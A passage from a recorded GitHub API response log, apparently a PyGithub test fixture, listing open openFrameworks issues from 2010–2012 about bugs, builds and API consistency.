b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":523837,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-14T15:11:06Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/330","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":330,"html_url":"https://github.com/openframeworks/openFrameworks/issues/330","assignee":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"title":"OpenCv 2.2 for Win ( CB and VS )","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/codeblocks+","name":"codeblocks ","color":"cb6efa"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/visual+studio","name":"visual studio","color":"ba4eba"}],"closed_at":null,"created_at":"2011-01-12T19:09:37Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":522789,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-04T14:06:34Z","body":"currentStyle stores everything about the current style, so it can be used rather than things like drawMode for tracking how things should currently be draw.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/325","comments":1,"milestone":null,"number":325,"html_url":"https://github.com/openframeworks/openFrameworks/issues/325","assignee":null,"title":"drawMode can be deprecated, currentStyle.bFill should be used instead","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-01-12T15:41:11Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":522255,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-12T15:34:48Z","body":"ordering for code completion is a little weird.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/324","comments":0,"milestone":null,"number":324,"html_url":"https://github.com/openframeworks/openFrameworks/issues/324","assignee":null,"title":"ofPushView/ofPopView appear before ofPushMatrix/ofPopMatrix","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"}],"closed_at":null,"created_at":"2011-01-12T15:34:48Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":522231,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-10T22:30:48Z","body":"under the /video directory","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/311","comments":0,"milestone":null,"number":311,"html_url":"https://github.com/openframeworks/openFrameworks/issues/311","assignee":null,"title":"openFrameworksLib has ofQtUtils included twice","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-01-10T22:30:48Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":518434,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-10T06:36:27Z","body":"better to use aggregation (helper classes/functions) if necessary for common functionality that have implementation in those classes. making them pure abstract classes will avoid problems with multiple inheritance and easier to extend in case of different behaviour","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/305","comments":0,"milestone":null,"number":305,"html_url":"https://github.com/openframeworks/openFrameworks/issues/305","assignee":null,"title":"no implementation in ofBaseTypes","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-01-10T06:36:27Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":516844,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-05T21:59:59Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/302","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":302,"html_url":"https://github.com/openframeworks/openFrameworks/issues/302","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"title":"Remove Poco CppUnit from all projects ( done on os x )","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-01-10T02:39:28Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":516565,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-25T01:06:09Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/299","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/6","closed_issues":0,"number":6,"title":"0073 Release","due_on":"2012-07-30T07:00:00Z","open_issues":5,"created_at":"2011-12-03T15:37:49Z","state":"open","description":"","id":62090},"number":299,"html_url":"https://github.com/openframeworks/openFrameworks/issues/299","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"title":"freetype-2.4.4 for linux","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-01-10T02:38:08Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":516560,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-25T01:06:08Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/298","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/6","closed_issues":0,"number":6,"title":"0073 Release","due_on":"2012-07-30T07:00:00Z","open_issues":5,"created_at":"2011-12-03T15:37:49Z","state":"open","description":"","id":62090},"number":298,"html_url":"https://github.com/openframeworks/openFrameworks/issues/298","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"title":"freetype-2.4.4 for windows","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"closed_at":null,"created_at":"2011-01-10T02:37:49Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":516559,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-05T21:59:27Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/296","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":296,"html_url":"https://github.com/openframeworks/openFrameworks/issues/296","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"title":"FreeImage 3141 build for windows","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"closed_at":null,"created_at":"2011-01-10T02:36:58Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":516556,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-09T20:46:43Z","body":"I think the pixeltype, the gltypeinternal and the gltype should be accessible to the user as well as the loadData(void * data, int w, int h, int glDataType) which is actually protected.\r\n\r\nActual implementation is only limited to a few choice of internalFormat which lead to choice of pixeltype and gltype. It thus doesn't allow from user specific type.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/292","comments":0,"milestone":null,"number":292,"html_url":"https://github.com/openframeworks/openFrameworks/issues/292","assignee":null,"title":"ofTexture should be more flexible","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-01-09T20:46:43Z","state":"open","user":{"url":"https://api.github.com/users/I33N","gravatar_id":"ba8d7c3b4532d3747c30b9be91dc20d5","login":"I33N","avatar_url":"https://secure.gravatar.com/avatar/ba8d7c3b4532d3747c30b9be91dc20d5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":520375},"id":516071,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-03T10:49:15Z","body":"ofImage::getWidth()/getHeight() are just getters that do absolutely nothing but return a copy of the width and height. these methods should be marked const.\r\n\r\n[added]: there are hacks inside ofxCv that i've had to make because getWidth/getHeight are not const correct. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/288","comments":6,"milestone":null,"number":288,"html_url":"https://github.com/openframeworks/openFrameworks/issues/288","assignee":null,"title":"const correctness - add const to getWidth/getHeight","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-01-08T02:14:03Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":513779,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2010-11-30T05:13:10Z","body":"This is giving me some crashes. There needs to be a way to disable this when making custom windows. I have tried to do atexit(NULL); but the callback in ofRunApp(ofBaseApp * OFSA) is still being called. \r\n\r\nmaybe something like:\r\n\r\nvoid ofRunApp(ofBaseApp * OFSA, bool useExitCallback);\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/275","comments":0,"milestone":null,"number":275,"html_url":"https://github.com/openframeworks/openFrameworks/issues/275","assignee":null,"title":"atexit(ofExitCallback);","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-11-30T05:13:10Z","state":"open","user":{"url":"https://api.github.com/users/vanderlin","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","login":"vanderlin","avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":149997},"id":445829,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-03-17T02:02:25Z","body":"bottom left corner is inconsistent with every other drawing command in OF, should be top left instead.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/271","comments":7,"milestone":null,"number":271,"html_url":"https://github.com/openframeworks/openFrameworks/issues/271","assignee":null,"title":"ofDrawBitmapString draws from bottom left","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2010-11-22T21:30:40Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":433297,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-06-03T19:04:08Z","body":"test if this is really useful:\r\n\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?f=7&t=4889&view=unread#unread\r\n\r\nhe adds a queue just before the color conversion","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/265","comments":0,"milestone":null,"number":265,"html_url":"https://github.com/openframeworks/openFrameworks/issues/265","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"title":"linux videograbber stopping after some time","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"closed_at":null,"created_at":"2010-11-18T12:07:46Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":426050,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-19T22:47:21Z","body":"ofClear(r,g,b) is inconsistent with ofBackground(r,g,b) because the alpha is 0 by default -- meaning you always have to explicitly declare the alpha to clear the background.\r\n\r\nfurthermore, because all the arguments have default values there is not/cannot exist an ofClear(gray, alpha) to match ofSetColor style","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/264","comments":5,"milestone":null,"number":264,"html_url":"https://github.com/openframeworks/openFrameworks/issues/264","assignee":null,"title":"ofClear uses inconsistent arguments","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2010-11-18T06:15:47Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":425675,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=13 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4931'), ('content-length', '46291'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"bf7e6718fe6b733d04e77e00e220150f"'), ('date', 'Tue, 29 May 2012 19:27:22 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2011-12-05T21:58:33Z","body":"A lot of OF files are including ofMain / ofConstants.h - this makes compiles super slow. Try to have files only include what they need. Or find a way to break things up into the most often used ( windows.h etc ) and less used. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/255","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":255,"html_url":"https://github.com/openframeworks/openFrameworks/issues/255","assignee":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"title":"COMPILE SPEED UP - cleanup internal includes to avoid ofMain.h and ofConstants.h","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2010-11-11T21:14:05Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":413771,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-02T20:11:33Z","body":"ofHideCursor()/ofShowCursor()\r\n\r\nofEnableArbTex()\r\nofEnableSetupScreen()\r\nofEnableDataPath()\r\nofEnableAlphaBlending()\r\nofEnableSmoothing()\r\n\r\nofSetFullscreen() + ofToggleFullscreen()\r\nofSetVerticalSync()\r\n\r\netc.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/249","comments":1,"milestone":null,"number":249,"html_url":"https://github.com/openframeworks/openFrameworks/issues/249","assignee":null,"title":"normalize option nomenclature (hide/enable/set/etc.)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2010-11-03T22:52:08Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":399214,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-05T22:03:41Z","body":"some video to test:\r\n\r\nmmsh://live.camstreams.com/cscamglobal16?MSWMExt=.asf\r\n\r\nit works ok with totem so it should be a problem in ofGstUtils","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/245","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":245,"html_url":"https://github.com/openframeworks/openFrameworks/issues/245","assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"title":"gstreamer problems with streaming of microsoft video","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"closed_at":null,"created_at":"2010-10-13T16:33:06Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":360885,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-03-13T20:13:07Z","body":"I found an annoying bug in ofVideoPlayer.\nThis module do not like to be dynamically created or destroyed.\nCheck this little example :\n\nhttp://knu.free.fr/bug_ofVideoPlayer.zip\n\nLeft-click to create an object playing video.\nRight-click to suppress the last video.\n\nhere are the phenomenons I am facing on my Win7 machine :\n\n- \nIf you create an object, and then you suppress it, and then try to create an object again, the app will crash.\n\n- \nIf you create some objects (lets say 8), and then you suppress all of them, the app will crash before the last one (not always, but most of the time).\n\n\n\nNow in OF source tree, try replacing ofVideoPlayer.cpp with FIX_ofVideoPlayer.cpp (at the root of the zip)\nRebuild the project.\nNow everything should be working as expected.\n\n\nThe modifications I made in the source are marked by : //###############\n\nI do not have time to fully read and understand the quicktime API, so there are chances this workaround is fucking dirty.\nBut at least it seems to work.\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/244","comments":1,"milestone":null,"number":244,"html_url":"https://github.com/openframeworks/openFrameworks/issues/244","assignee":null,"title":"bug in ofVideoPlayer","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2010-10-11T19:56:46Z","state":"open","user":{"url":"https://api.github.com/users/fmauclere","avatar_url":"https://secure.gravatar.com/avatar/1c7dcbab3712f1a4d90bd2c3aa9a3e3d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"1c7dcbab3712f1a4d90bd2c3aa9a3e3d","login":"fmauclere","id":435720},"id":357395,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-10T05:06:06Z","body":"Check out this code - also check if latest ffmpeg is better optimized for 